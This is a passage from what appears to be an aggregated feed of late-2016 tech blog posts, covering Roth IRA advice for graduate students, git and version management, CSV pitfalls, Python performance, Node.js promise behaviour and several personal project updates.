No taxes on retirement withdrawals: Even on the gains. If you anticipate retiring at a higher tax bracket than you were living on as a grad student (likely!), this becomes a huge win. You paid 10% taxes on your money, invested it, and then pay no more taxes on it, even though you're living a 25% tax bracket lifestyle in retirement.
Some ways to withdraw early if needed. Buying a house, deaths in the family, etc. Hopefully you can ignore all of this.

Of course, there are limits on good things. You can contribute up to $5,500 per year to a Roth IRA, but if you earn more than $117k/year as a single filer, the limit starts to phase out. You will probably earn more than $117k/year once you graduate, at which point life gets more complicated. (Note that I'm oversimplifying, because this article isn't aimed at people earning over $100k/year. The next one will be.)

The total amount you'll be able to put into a Roth is relatively small because of this $5500/year limit, but future-you will love you for every cent you get in there, because of the flexibility and tax advantages. If you retire early, a Roth can be a very useful tool in retirement tax reduction. If the poop really hits the oscillating blades, a Roth is a great source of emergency cash.

If you're paid only by a scholarship or fellowship, check out this article first - you need to have earned income to make Roth contributions. Most GSes do. If you get a W-2 with earned income in box 1, you're good.

What do I invest my Roth in?

For most people, get an account at Vanguard, put your Roth there, and invest the funds either in:

Laziest approach: Target Retirement 20XX fund. Has slightly higher expense ratio than doing it yourself, but for a far-out target date, has a nice balance of mostly stocks, US-centric with some international exposure, and a bit of bonds to reduce volatility slightly.
Lazy, lower expense ratio, but less diversified: VTSMX / VTSAX. (Same fund, different minimum investment, different expense ratios). Total stock market index fund. US-centric -- but remember that a lot of major US companies are themselves multinationals, so it's not as horrible as it seems.
DIY target retirement fund: See the Bogleheads Lazy Funds list, and implement on your own.

When you've got less than about $50k in play, I'd go with the target retirement fund. The expense ratio differences start to become more important once you're above the minimum thresholds for the "admiral shares" classes of Vanguard funds (often $10k for each fund you invest in).

Exceptions to this suggestion: If you anticipate major expenses that you think will require dipping into your Roth (having a child in grad school?), you might want to invest it in a lower-volatility mix. The vanguard "Target Retirement" fund (VTINX, with no date -- this one's aimed at people already retired) might be a reasonable choice, down to the short-term bond fund VFSUX.

Don't day-trade, don't try to time the market, and don't invest in a tiny basket of individual stocks. Don't pay a stockbroker to tell you what stock is "hot". Don't pay high expense ratios for actively managed funds. Many, many of your professional colleagues (and math and physics Ph.Ds) are out there at various quant and HFT funds making their living by preying on people who think they can do better. You're probably very smart and experienced at programming and many things related to this field, but you're still not likely to win. For the most part, you're at a disadvantage: The professionals are also smart like you, but they have access to experience, resources, and information that you don't. Don't be a sucker. The diversified index funds achieve great results with very low expenses, and mostly beat the pants off of the places your friends work anyway. If you want to play that game, finish up your Ph.D. and then go get a job in that industry where you get to play the game using other people's money, and you get access to real resources.

I've still got too much money left - what now?

If it were me, I'd start piling it up in your taxable account(s). It's not unlikely that you'll have some heavier-duty cash flow needs in the first month of your job after you graduate -- I think I floated about $5k of moving expenses, a security deposit, first and last month's rent, and purchased a car all in my first month at CMU. That was surprisingly non-stressful with a modest cash cushion.

Some universities allow contributions to a Roth 403(b), even if you're not eligible for the normal retirement contributions. Check with your HR/benefits office.

But you should also examine your debt picture. If you have high-interest student loans or other debt, pay 'em off ASAP if they're incurring interest during grad school. If they're subsidized and not incurring interest while you're still in school, you can play the game of stashing your money in an interest-yielding investment (savings or market - up to you), and then paying them off the second you graduate. This is very personality-dependent.

Congratulations and good luck on your grad school experience!

Version management strategies

Negative Feedback — Wed, 28 Dec 2016 17:06:19 GMT

People often maintain that they don't need a special tool like git for version management. I believe that most people are using some kind of version management strategy when working on projects, but that they use ad-hoc strategies which have specific problems. So this is not a pure "This is why you need git" post. Rather it is an exploration of the difficulties of version management and how a tool like Git solves these problems, along with the issues of solving them by ad-hoc means.

Project change axes

Time

Every project changes over time. In some cases, you open a blank document and type or paste things into it. In others, you start with one thing and change it into another. But if you are making something that did not exist before you are going at the very least between the before state and the after state. Some of the state changes are never committed to disk, like the intermediate typing you do between saves. One quickly learns to save frequently so that one doesn't lose to much if something goes wrong. Of course, modern software can also save frequently for us. Let's call a "version" of our project the state of the project at one of these save points.

It is useful for us to retrieve different versions of a project. For the simplest case where we are just editing our document and pressing save from time to time, the only information we need to refer to different versions is the time. So we can say "Show me what the project looked like yesterday", or perhaps "Show me the work that I did since yesterday". To accommodate such a request, we could get into the habit of saving the project with different names from time to time. For instance, we could have project_2016-12-28.docx and a project_2016-12-29.docx and so on. This strategy works relatively well for the time axis on a single-file project. Notice I have used ISO date format which means the versions will sort correctly when sorted by filename.

Another popular strategy is to use something like project_v1.docx, project_v2.docx and then use the timestamp of the file to figure out when it is from. This strategy is less robust to capture time information, because it is relatively easy to change the dates of files inadvertently by accidentally saving when no real change has been made, therefore destroying the date information. It is also relatively common to add some kind of note about what changed in this version to the filename. For instance project_2016-12-28_new_abstract.docx. A very bad way of handling version information is using words like "first draft" or "final". This is because there isn't a good ordering for these in file viewers, so "project_final" will sort before "project_first draft". It is also inevitable that these versions will have versions themselves, leading to project_final_v2_realfinal_handin_v3.docx.

Things get a little harder if a project has multiple files. For instance, there may be an Excel spreadsheet where we are doing calculations in addition to our Word file. It may be that we edit the Word file more frequently than the Excel file. We now have a choice to save copies of the files separately or to place them into a folder and make copies of the folder. All the same naming conventions hold.

Space

Let's say you e-mail a copy of your project_2016-12-28.docx to a friend for their input. Is this the same version or a different one? In practical terms it doesn't matter that the copy is made unless it is edited. But the fact that a copy has been made allows for independent edits to be made. How will we keep track of this? The way most people handle this issue is to use what computer scientists call "locking". As soon as you send the mail, you stop editing your copy until you receive back the copy from your friend. If they used track changes, you can easily incorporate their changes into your document. This strategy actually avoids dealing with the space issue. Syncing solutions like Dropbox also avoid the space axis by making the shared folder be one "place" which is synced between people instead of allowing different versions to exist at the same time.

Another way is to add location information onto the filename again. You could ask your friend to add their name onto the filename so that you can see the version. When they mail it back to you, you can see project_2016_12_28_friend.docx is different from yours and take the right action.

Concept

Sometimes you may want to experiment with a slightly different version of a project. This happens quite frequently in programming, where there may be different ways of achieving the same goal. It may be useful to compare one algorithm to another on the same data.

A very common way for this to be handled is using comments in code. You comment out the one algorithm and comment in another and re-run the program. Of course, you can also make a copy of the file, but often in programming the filename is significant and cannot carry as much information as we use in office documents or folders.

Summary

To summarise the above axes, we saw that projects change over time, in different places, by different people and for different reasons. Most people have some way of noting these changes in the file names of their projects.

The git way

Version control tools exist because encoding the information along these three axes in the file names or in comments in code is messy and difficult to use for all but the simplest projects. Here is how git solves the problem. I am going to be using git commands in the commandline to illustrate the process. Install git using these instructions.

The first big idea is that the current version (called the "working copy" in git) and other versions will be stored in different places. Git creates a .git folder for all the versions of the project. This folder contains several pieces of information about the project, but it is sufficient to imagine that git can "archive" the files in the project and copy this archive into the .git folder for each version. Git calls the whole bag of archive the "repository" and the specific archive a "commit". Along with the actual file, git also stores the information we discussed before. It stores the time when the commit was made, who made the commit and a message (called the commit message) which explains what changed.

Simple time axis workflow

Let's make a simple project and show how git allows us to track the same things we would have with a filename scheme including dates:

The command git init will create a folder called .git. This contains all the commits and additional metadata.

Now, we create a file called project.txt and write some lines in it. To get it into the repository, we first git add then git commit. Once this is done, we can check the history with git log.

Note that the log shows who made the commit, a note about the commit and the exact time it was made. If we continue to add new commits in a linear fashion we have completely replaced the filename method. Also note that the commit itself has a name which is a long string of hex digits (49487eea429e8f870234e239e44a6e1d4ab49e54 in the screenshot). This is a hash, or a number made up by boiling down the contents of all the files in the commit. This means each commit with different files should have a unique name.

Another interesting aspect of a git commit is that it knows which commit came before it. So in the picture below showing multiple commits, each one points to the one before.

Space

To handle the space dimension, git supplies the clone command which allows us to create a copy of a repository. This is different from simply copying the folder, because the clone command will allow us to track the different repositories. This can be done on a local system, for instance to make a copy of the repository on a removable drive. It can also be done over a network, and is the mechanism behind being able to have a version of the repository on a web server like GitHub.

Concept

Lastly, when we want to have different concepts and compare them to one another, we can create branches with git branch. It is easier to think of branches as groups for commits. This allows us to continue development in one group while easily going back to another. This is something which has no equivalent in the filename system

Final word and further reading

Now, this is not supposed to be a git tutorial. It was meant to show the things we need version control for and what git supplies to fix them. If I have succeeded in whetting your appetite, I highly recommend that you download git and read the git book (at least the first couple of chapters).

Falsehoods Programmers Believe About CSVs

Donat Studios — Wed, 28 Dec 2016 03:41:04 GMT

Much of my professional work for the last 10+ years has revolved around handling, importing and exporting CSV files. CSV files are frustratingly misunderstood, abused, and most of all underspecified. While RFC4180 exists, it is far from definitive and goes largely ignored.

Partially as a companion piece to my recent post about how CSV is an encoding nightmare, and partially an expression of frustration, I've decided to make a list of falsehoods programmers believe about CSVs. I recommend my previous post for a more in-depth coverage on the pains of CSVs encodings and how the default tooling (Excel) will ruin your day.

Everything on this list is a false assumption that developers make.

All CSVs are ASCII
All CSVs are Win1252
All CSVs are in 8-bit encodings
All CSVs are UTF-8
All CSVs are UTF-16
All CSVs contains a single consistent encoding
All records contain a single consistent encoding
All fields contain a single consistent encoding
All CSVs contain records
All records contain fields
Fields never contain record separators
Fields never contain delimiters
Fields never contain control characters
Delimiters are escaped with a \
All fields are enclosed by double quotes
All records are a single line
All lines contain a single record
All records contain the same number of fields
All records contain the same number of fields as the header
All records contain the same number of fields or fewer than the header
All CSVs contain a header
All record separators are CRLF
All record separators are LF
All record separators are a single byte
All record separators are a single rune
All newlines are a single byte
All CSVs are delimited with a comma
All CSVs are delimited with a comma, tab or semicolon
TSV isn't CSV
All delimiters are a single byte
All commas are a single byte
All CSVs are readable with Excel
Excel is a good tool for working with CSVs
Excel is an OK tool for working with CSVs
Excel can losslessly save CSVs it opens
Using ="{value}" is a good way to get around Excel auto-formatting
The first line will never be a poorly supported instruction header
Using sep={char} is a good way to get Excel to accept your delimiter
Prepending a BOM is a good way to get Excel to read your encoding
You can safely name your first column "ID"
All CSVs follow RFC4180
Most CSVs follow RFC4180
All CSVs follow the same defined standard
All CSVs follow a defined standard
All CSVs have a .csv extension
All CSV is human readable

Please take these into consideration next time you find yourself working with CSV. If you can think of anything I may have missed I'd be happy to add it.

As a suggested further reading, "The Art of Unix Programming" http://www.catb.org/esr/writings/taoup/html/ch05s02.html#id2901882 section on DSV style which notably says "CSV is a textbook example of how not to design a textual file format"

Updates:

Thanks to Max for pointing out the Excel supported sep={value} header I was strangely entirely unaware of.
Thanks to Don Hopkins for the note about not being able to start a header with ID

Counting sheep

Muffin Man — Wed, 28 Dec 2016 02:00:00 GMT

Just something to cheer you up for the holidays :) I got this idea while I was sick in bed, and had nothing smarter to do. Pure CSS, no JavaScript at all. Hope you like it, I may add some more details.

Check the code on codepen.

Happy new year!

A Holistic Approach to Microservices

Thomas Hunter II — Tue, 27 Dec 2016 02:00:00 GMT

Collecting data from a wizard form

Gosha Spark — Tue, 27 Dec 2016 02:00:00 GMT

Everything You Need to Know About Regular Expressions In JavaScript - Part Two: Grouping And The RegEx API

Lucas F. Costa - Blog — Sun, 25 Dec 2016 14:00:00 GMT

Hello everyone! This is my second blog post about regular expressions in JavaScript, if you didn't read the first one, make sure you do because we're gonna need that knowledge for this post. If yo...

Making Python run faster: a case study

Avy Faingezicht — Sun, 25 Dec 2016 02:00:00 GMT

As a langauge, Python was originally designed for faster development cycles, and not for execution speed. This principle remains very much alive today, and although it has garnered the language a bad reputation for its sluggishness, there are a few very common antipatterns that you can avoid to make your Python run faster. In this post, I will demonstrate some of these ideas by exploring solutions to a very simple algorithm: calculating the average (or, to be more precise, the arithmetic mean) out of a list of integers. For our experiment, we'll time our functions on three lists of different lenghts, as the size of the list will affect our solution's runtime. We can start by generating some test data: ```python import random random.seed(1) lengths = [10, 100, 1000] lsts = [[random.randint(0, 100) for _ in range(length)] for length in lengths] # [[17, 72, ...another 8], [83, 48, ...another 98], [3, 60, ...another 998]] ``` With our three test lists, we can start writing up solutions. Notice that all our functions will start with an `if lst` check, since we'll only return a value if a list isn't empty. ### The naive solution Let's start simple. We iterate through the indices of the list, and we keep track of two values as we go: the running sum, and the running count. When we get to the end, we return the sum over the count. That is the *very* definition of how to calculate an average. ```python def mean1(lst): if lst: running_sum = 0 running_count = 0 for i in range(len(lst)): running_sum += lst[i] running_count += 1 return running_sum / running_count ``` This gives us the right solution, and the following runtimes: List Length | 10 | 100 | 1000 |:---:|:---:|:---:|:---:| **Runtime (µs)** | 1.483 | 9.789 | 129.695 We can surely do better, though. ### Still naive, but more pythonic If you work with Python long enough, or if you peruse questions on it on Stack Overflow, you'll see the word *pythonic* pop up again, and again. Generally, it refers to concise and readable patterns that the community tends to follow. Most times, their popularity is based on actual efficiencies, and well deserved, even if their users don't even know that's the case. The word can take the place of "clean," or "idiomatic," but ultimately has no real meaning. What makes the answer above not pythonic, you ask? The iteration pattern. If you come from a language like C/C++, or even Java, you're probably used to processing iterables via indexing, leading to code like: ```python for i in range(len(lst)): num += lst[i] ``` While this case looks simple, in more complex algorithms it can be hard to keep track of the i's and j's to grab objects out of our list by an index. In Python, most cases of `range(len(lst))` are a mistake that we can avoid via the iterator protocol, or perhaps with `enumerate` if indexed access is unavoidable. This helps us not only make our code more readable, but also more efficient: ```python def mean2(lst): if lst: running_sum = 0 running_count = 0 for number in lst: running_sum += number running_count += 1 return running_sum / running_count ``` As you can see below, we get a nice performance bump, especially as our input list grows: List Length | 10 | 100 | 1000 |:---:|:---:|:---:|:---:| **Runtime (µs)** | 0.956 | 7.647 | 97.220 ### The preferred way, falling into C One of the virtues of Python, is that under the hood it is written in very efficient C code. While rolling our own functions tends to be fun, in most cases there is some built-in method that we can call to do the work for us. Knowing that such functions exist, and thinking of them when solving problems is half the battle when writing Python. In this case, its the `sum` and `len` functions that we want to invoke: ```python def mean3(lst): if lst: return sum(lst) / len(lst) ``` Since Python's `len` implementation on lists takes constant time, the time complexity is dominated by the `O(N)` operation required to sum, iterating over the numbers only once. (Thanks to Leon Sasson for reminding me that `len` is `O(1)`) List Length | 10 | 100 | 1000 |:---:|:---:|:---:|:---:| **Runtime (µs)** | 0.409 | 1.041 | 7.348 This change gives us more than a performance bump. The code is an order of magnitude faster relative to the previous solution and it gives us a considerably simpler answer. ### Using other libraries It is important to note that there are other libraries that can provide you with a way to compute the mean of a series. In Python 3 there is the `statistics.mean` function, which uses the Kahan Summation algorithm to reduce numerical errors at the expense of 50 to 100 times more computation time than our preferred solution, depending on list size. Additionally you could also use `numpy.mean` which has its own kind of overhead due to its array based operations, but can be very efficient when computing very large datasets thanks to other optimizations. Neither of these are really comparable to the other `mean` functions we've written, as they serve different, and very specific, purposes. However, since `numpy.mean` and `statistics.mean` *do* compute the mean, innocent programmers might use the less performant but specialized variants unknowingly for no reason. ### So what's the best choice? Obviously, the measured runtime will vary depending on the machine the tests run on. What we actually care about are the ratios. In the table below I have normalized the values in each column to the most efficient version for a given input list, and also included the `numpy` and `statistics` functions for reference: Solution | Length 10 | Length 100 | Length 1000 |:---:|:---:|:---:|:---:| `mean1` | 3.6 | 9.4 | 17.7 `mean2` | 2.3 | 7.3 | 13.2 `mean3` | **1.0** | **1.0** | **1.0** `numpy.mean` | 25.9 | 15.8 | 9.4 `statistics.mean` | 45.9 | 65.5 | 79.2 While all the solutions proposed run in linear `O(N)` time, there are clear winners and losers. If your algorithms don't require the extra precision, nor the array functionality, you should go with the `mean3` version described above. I would encourage you to play with the code, and generate your own results, by tweaking my script, which you can find here. Can you think of other more efficient, more clever, ways to calculate the mean of a list with Python? Let me know! **Update (1/5/17):** Leon Sasson correctly pointed out that `len` is `O(1)` on Python lists. This alters my explanation for `mean3`'s performance, but not its expected time complexity.

* *All tests were run on Python 3.5.2 on a mid-2014 MBPr with 16GB of RAM and a 2.5 GHz Intel Core i7 processor.* * *Image from "Reptiles and birds. A popular account of the various orders" by Figuier, Louis, 1819-1894 Gillmore, Parker. - Licensed under Public Domain, via Internet Archive Book Images*

Promises and Node.js event emitters don't mix

Qubyte Codes — Sat, 24 Dec 2016 19:00:00 GMT

To many experienced Node developers, the title of this post will seem intuitively obvious. Nevertheless, it's useful to see what unexpected behaviour can occur when the two are used together. Here's an example:

const { EventEmitter } = require('events');
const emitter = new EventEmitter();

Promise.reject(new Error('Oh noes!'))
  .catch(e => emitter.emit('error', e));

If you run this code (tested in Node v7.3 from a script, not REPL), what do you expect to happen? I expected an uncaughtException event, since an event emitter is emitting an error event with no event handler, but that's not what happens at all. Instead you get an UnhandledPromiseRejectionWarning!

This is bad news. If something genuinely nasty has happened, you might want to emit an error like this which is either explicitly handled or causes an uncaughtException event. Uncaught exceptions should lead to the process exiting, and a promise has just stifled it.

So, what happened? Here's a hint:

const { EventEmitter } = require('events');
const emitter = new EventEmitter();

try {
  emitter.emit('error', new Error('Oh noes!'));
} catch (e) {
  console.log('caught');
}

What do you expect to happen here? Again, at first glance I would have expected an uncaughtException event. uncaughtException events can happen when one of two conditions is met. The first is an error is thrown but not caught (thus the name). The second is when an error event is emitted and the emitter has no handler to deal with it.

Did I say there were two conditions? I meant to say one! The second condition is really the first in disguise. When an emitter lacks an error handler and it emits an error event, the default error handler takes control and throws the error. Since event handlers are called synchronously upon event emissions, this:

const { EventEmitter } = require('events');
const emitter = new EventEmitter();

emitter.emit('error', new Error('Oh noes!'));

is equivalent to

throw new Error('Oh noes!');

So, the very first snippet is equivalent to:

Promise.reject(new Error('Oh noes!'))
  .catch(e => {
    throw e;
  });

The promise chain captures the thrown error and wraps it as a rejected promise, which leads to an UnhandledPromiseRejectionWarning since a second .catch is needed in the chain to handle it.

If you want to ensure that unhandled error events lead to uncaught exceptions which aren't captured by a catch or a promise chain, then you can wrap the emission in a setTimeout or a setImmediate.

Кижи

Blogs on Michail Rybakov — Sat, 24 Dec 2016 16:07:46 GMT

Vertically striping images for fun

infrequent oscillations — Sat, 24 Dec 2016 10:46:10 GMT

In which we create a montage.

Rocambolli and other good things from 2016

Erico Notes — Sat, 24 Dec 2016 04:19:05 GMT

So, I have been working in this javascript game for almost two years now! The first A Glass of Lores post was in 31 january 2015! So I have been learning, and you can say some piles of javascript code has been lying around. 😁

I have been learning a lot for the past years, I have recently read A Theory of Fun, for more input on how to make fun games, and I also needed some help on code, so I've read Game Programming Patterns, and a long list of web articles that I can put on a new post once I can find all of them! Also, with Influence: The Psychology of Persuasion and Contagious: Why Things Catch On I started my foray in understanding basic marketing. I am trying to also learn WebGL by reading WebGL Programming Guide: Interactive 3D Graphics Programming and at last I decided to install Unity in Ubuntu and try to learn C# - I am approaching this in a slow pace since I plan to finish my main game before diving too much on it. Let's see things done...

Rocambolli

Recently I participated in Ludum Dare 37, which had the theme One Room. It has been a ton of time since I participated in similar events, and this one was marked by going outside of my home during theme announcement, and meeting the really great Rafael Giordanno who motivated me a lot by talking his previous 7 short games, his learning, and his teaching. I was a bit unsure if I would be able to do something, going compo, which means doing a game alone, and doing everything, planning, level design, code, graphics, music, sounds! But after he told me how prepared he was, and that he was curious to what I was going to do, damn, I was going to start and finish something in that weekend.

What followed next was some crazy fast coding, in javascript, and 25 hour later I had a really ugly code, that generated this platformer game, Rocambolli, with sounds and everything working. Oh, and a Itch.io account! And the github with everything is here. This was awesome, and I want to do this again!

KTG - Keyboard Touch and Gamepad

Under heavy time constraints I coded a spaghetti interface.js, this code is awful, but it worked, and was great with keyboard and gamepad working! Rocambolli could be played. Two days later I had an idea to do this proper, and I created the KTG - Keyboard, Touch and Gamepad project. The idea is to have a simple javascript library that could unify how a simple javascript game would deal with keys, be them on touch screen, a keyboard or a joystick. I really like it! If you are doing something with javascript, this could be a simple drop in solution. I plan to mature it and migrate it into my fgmk project! Now after Ludum Dare I have moved KTG to Rocambolli so it can be played in mobile too!

Fullscreen Button

Also, when doing a tiny javascript game, I find myself often in need for a fullscreen button, since going fullscreen is still not easy on mobile without adding the page to home screen. So if you are ever in need of this, I got you covered now!

A Glass of Lores

I will leave just a link to a youtube video of a somewhat recent status of the first scene in A Glass of Lores, just so people can know the project is going forward! Here's something: making a RPG takes a long time.

Happy holidays, Merry Christmas, and see you next time. 🙌

Holmesword Bound

The David Brownman Blog — Sat, 24 Dec 2016 02:00:00 GMT

undefined

Read the whole thing.

Tit-For-Tat Office Hours with a Seed-Stage VC

Coding VC — Fri, 23 Dec 2016 05:08:00 GMT

For a while now, I’ve wanted to try holding office hours.

William Chumley proposes "obscene content" bill on personal computers

Welcome to Marco Fioretti's website! on Stop at Zona-M — Thu, 22 Dec 2016 11:15:26 GMT

This seems real, and if it is.. This seems real, and if it is.. I thought Italy was among the best when it comes to, huh, less than smart law proposals about computers and the Internet, but it’s not match for South Carolina. Quoting from RT America: A bill pre-filed by Republican State Representative William Chumley would require that personal computers and other devices block internet access to pornography and obscene content This “Human Trafficking Prevention Act” would fine manufacturers or sellers of electronic devices that do not install the blocks, whether they are created in factories or are at the point of sale.

Goodbye Lua Toolbox

Separate Concerns — Thu, 22 Dec 2016 10:00:00 GMT

In November 2013, I gave a talk about the Lua Ecosystem at Lua Workshop, in which I mentioned that finding the best module for some job could be hard and introduced a website I had built to solve that problem.

That website, Lua Toolbox, was inspired by the popular Ruby Toolbox. It had two major features: modules classification (“labels”) and endorsements by users. I had written it using Leaf Corcoran’s relatively new Lua Web framework, Lapis, and Redis as the datastore.

In August 2014, MoonRocks, one of Leaf’s many projects, became the official website for LuaRocks. It offered many features including user accounts, manifests and the ability to upload rocks on the Web. We quickly started to discuss merging Lua Toolbox into MoonRocks, but it led nowhere at first and the two websites continued their separate lives.

Eventually, in March 2016, Etiene Dalcol took up the project. By September her and Leaf had written the code for labels and “follows”, which replace endorsements. They also added a feature for users to convert their Toolbox endorsements to LuaRocks follows. I sent them a data dump which they imported into the production LuaRocks website, and I turned Lua Toolbox read-only.

Today, I finally replaced the whole website by a static page redirecting users to LuaRocks. In the end, the Toolbox had 232 users and referenced 1217 modules. The source code remains available but I would not advise you to do anything with it (it uses old Lapis APIs, from a time where plain Lua support was not official).

Technology Rolls On, Better Roll With It

Greg Herlein — Thu, 22 Dec 2016 01:29:39 GMT

Technology Rolls On, Better Roll With It

MH-Z19 CO2 sensor reader, logger and visualiser

smcleod.net — Wed, 21 Dec 2016 07:37:38 GMT

MH-Z19 CO2 sensor reader, logger and visualiser

Reads data from UART(serial)-connected MH-Z19 (or MH-Z14) sensor using python 3.
If you dare to install nodejs you can visualise the logged data (using html and plotly.js library).

Repository: sammcj/CO2-Logger

Usage

Note this post is from 2016, in 2021 I replaced my custom Co2 loggers with an Aranet4. While very expensive, is and excellent off-the-shelf solution, with many features.

Connection

Sensor can be queried using 3.3v UART at 9600 bps. Sensor main feed voltage is 5v.

Favorite Books Read in 2016

dominik.net — Wed, 21 Dec 2016 02:00:00 GMT

My favorite books out of the 61 books (~24,000 pages) that I read in 2016:

Sci-Fi, Fantasy, and Speculative Fiction

Culture series — I read the entire ten book series over the course of 2016. The Culture series is set in the distant future where enlightened AIs run society and humans, freed from a life of labor, have to deal with the rest of the galaxy. What is life like when material want is eradicated? What about encounters with less enlightened aliens? Or perhaps backward planets lagging in development? All this and more is thoughtfully and philosophically dealt with in this amazing series. My favorite out of the ten books was the brilliant Matter, but I’d recommend starting with Player of Games.

Hainish Cycle — Continuing in my classic SF adventures, I tore through several of Ursula Le Guin’s novels. She writes with a poignancy and precision that makes her prose sing, and treats with themes that are larger than what’s typically encountered in science fiction. Among the books in the cycle, The Dispossessed stood out for me as a moving tale of two civilizations riven by decades of animosity. The entire work itself is beautifully and carefully framed, making it a work of art in its composition and form.

Three Body Problem/Remembrance of Earth’s Past Series — Translated from Chinese, this three book series: Three Body Problem, Dark Forest, Death’s End treats with the near and far future in a scenario where humanity makes contact with an alien civilization. It considers how earthlings react (on both personal and societal levels) as well as the interplay and tension between the two civilizations themselves. The series as a whole considers some Big Ideas and even Bigger Questions. The translation is superb and the series comes to a satisfying conclusion over the course of its narrative arc.

History

The Years of Lyndon Johnson — This is perhaps the best historical biography I’ve ever read. Four books so far, with a fifth on the way, it is not only meticulously researched, but is deliciously and superbly well-written. The first book, The Path to Power, opens with a long consideration of West Texas topography — a topic in which I had previously found no interest — but does so so brilliantly that I found myself enraptured by the pages. Robert Caro can write. The third book, Master of the Senate, is a stunning telling of LBJ’s use of political power to Get Things Done in the Senate. The entire series is an amazing study of the nature of power (“Power, Lord Acton says, corrupts. Not always. What power always does is reveal.”) and an intimate portrait of LBJ.

The Silk Roads: A New History of the World — What would history look like if we placed the Middle East at the center of it? How did the events of the centuries impact that region? This book does that, and does so brilliantly, resulting in a lovely, wonderful, endearing, immensely scoped tale. Follow the history of an entire region across the span of thousands of years. The threads of the narrative pull together so well as to have kept me turning the pages. A tremendous work of scholarship and an enlightened insight into a region that, to this day, continues to be a locus of history.

Non-Fiction

Hillbilly Elegy — The tale of a Yale-trained lawyer and his childhood in the hard scrabble backcountry of southern Ohio and northern Kentucky, used as a prism through which to view hillbillies, white working-class America, and the middle class. An illustrative collision of cultures, and of the havoc those collisions can bring upon lives.

Between the World And Me — Written as a letter from father to son, this book features beautiful, almost lyrical prose, filled with heart and feeling. A moving, powerful work on a difficult-to-read-about topic. Poignant, almost private, it is a gift to be able to read this and take steps on the path to a better understanding.

Evicted — Painstakingly researched through applied field research, the author embedded himself in Milwaukee to understand eviction, both from the perspective of tenants and landlords. Devastating, heart-wrenching, and depressing, but powerfully and evocatively told through moving, sonorous prose.

Business & Leadership

First Break All The Rules — A timeless classic, dating from before the first tech bubble burst (written in 1999), this book contains advice that’s useful not only to active and aspiring managers, but to all those who report to a manager. Through the lens of encouraging self-discovery, it emphasizes the need for understanding as the engine for growth and provides a set of questions to help drive a career forward.

Managing Humans — I’ve long been a reader of Rands in Repose, the author’s blog. This book contains some of the best essays from that blog, plus more, and provides a useful set of rubrics and lenses through which to view software engineering specifically and the technology industry more generally. Read this understand how giant tech companies actually get work done and the vital importance of middle managers: “A successful organization is built of layers of people that are glued together with managers. Each layer is responsible for a broad task, be it engineering or QA or marketing. Between each layer is a manager whose job it is to translate from one layer to the next . . . in both directions. He knows what his employees want. He knows what his manager wants, and he’s able to successfully navigate when those wants differ.” This book teaches how to be most effective as a manager in the middle between all those overlapping layers.

Chaos Monkeys — Irreverent, dark, sardonic, at times caustic — yet compelling. This tale of one man’s adventures at a Silicon Valley startup tells it straight up. Viscerally honest, replete with unexpected wisdom and surprising amounts of heart. Also, as a bonus, contains the most lucid explanation of advertising tech that I’ve come across. Read this to understand part of what makes this Valley run.

Other (Education & Fashion)

Stop Stealing Dreams — Available as a free PDF, this book takes a hard look at what education is for, how it got to the way it is now, and why it needs to be different. Powerfully written and easily digestible in small chunks, this is a thought-provoking read that looks forward to imagine what schooling/education/learning could and should look like in this Internet-enabled, connected world.

Dressing the Man — Only available in hardcover, but worth it. Beautiful photos and timeless principles for permanent fashion. Focused pretty heavily on professional attire (think law firms more than tech companies, let alone startups), but the underlying principles (color matching across skin tone/eye color/clothing/accents) apply everywhere. As a bonus, it delves into how many of the “standards” have come about, with fascinating history lessons into why things are the way they are (when in doubt, blame the Duke of Windsor). I don’t wear a suit to work nowadays, but this book was still a fascinating, eye-opening, and ultimately quite useful read.

Looking forward to the 2017

Muffin Man — Wed, 21 Dec 2016 02:00:00 GMT

2016 was quite a ride. I just want to write a couple of random things, to close this year with one last post.

Work & Co #

Big news here, my company became a part of Work & Co. We're really excited about that, and I'm looking forward to the great stuff we are going to build. Our collaboration goes back for a few years now, it was very productive, and this is a great step forward.

My current title is a Technology Director and I'm in charge of a tech team, here in the Belgrade office.

Winter Meetup #

We are preparing a new tech meetup, this time a bit bigger one, with four speakers. I'll talk about JavaScript, if it is going in the right direction. About it's problems, misunderstandings, fear and hate that are involved around it. Don't worry, I'll talk about the good parts too.

All of the presentations include:

Five senses in a business performance - Nikola Pantović
Go fast with Web Workers - Ivan Nikitović
Become more professional developer - Saša Ranisavljević
State of a modern JavaScript development - Stanko Tadić (myself)

It will probably happen on the first Saturday in February of 2017, but I'll post updates with the exact date and venue.

So be sure to come to Work & Co Belgrade Winter Meetup.

I rarely find articles that I think are really worth sharing. But there are two that I like a lot.

The first one is a cliche in the startup world,. In case you haven't read it yet, and you are interested in making a startup, please do.

The second one, unfortunately, is not online anymore, but I found it cached, and made a gist copy of it. It is written by a colleague Serbian, here in Belgrade. He really puts some light on how startup scene is totally different here, and in The valley and western world. To me, it was really an eye opener when I first read it.

I hope original author won't mind I shared it. Here are links to the original blog, and the cached version.

Pet projects #

I really enjoy these, and I will continue sharing small projects and libraries, with a hope that community finds them useful. Feel free to check my GitHub account.

This blog will get updated, hopefully a bit more often. Btw, this blog is also open source and powered by Jekyll + Travis + Github Pages.

Other than that I hope to roll out a one or two small mvp products.

See you next year #

This is probably it for this year, it was exhausting, but fun year for me. Now, I took some days off, to get prepared for the new chapter the 2017 will bring.

Cheers, and happy holidays!

Зенит - чемпион

Blogs on Michail Rybakov — Tue, 20 Dec 2016 16:07:46 GMT

Irgendwo haben sie 100 Zenit-Bälle gefunden.

Building a webGL and webworkers boat hydrostatics app

Geeky Nuggets — Tue, 20 Dec 2016 10:17:07 GMT

I’ve recently felt the urge to start designing boats again, as I have had some ideas I wanted to explore, specifically for boats of the Mini 650 class. The software I use has basic hydrostatics capabilities, but only for an upright boat. It cannot calculate the GZ curve, or get the righting moment at specific heel angles, which is a crucial data for the kind of craft I wanted to design.

Existing solutions are extremely powerful and extremely expensive, so I decided i’d spend a few days rolling my own, with only the features I needed for the time being. I have all the technical background for this type of calculations, so I figured it shouldn’t be too hard. I really wanted to display a 3D view of the model, and not have it only output data in table format, and since I had never used web GL and was curious about, I figured it was the perfect time to try it out. Pro tip : if you’re not used to openGL or working in 3D programatically, use three.js. Thank me later.

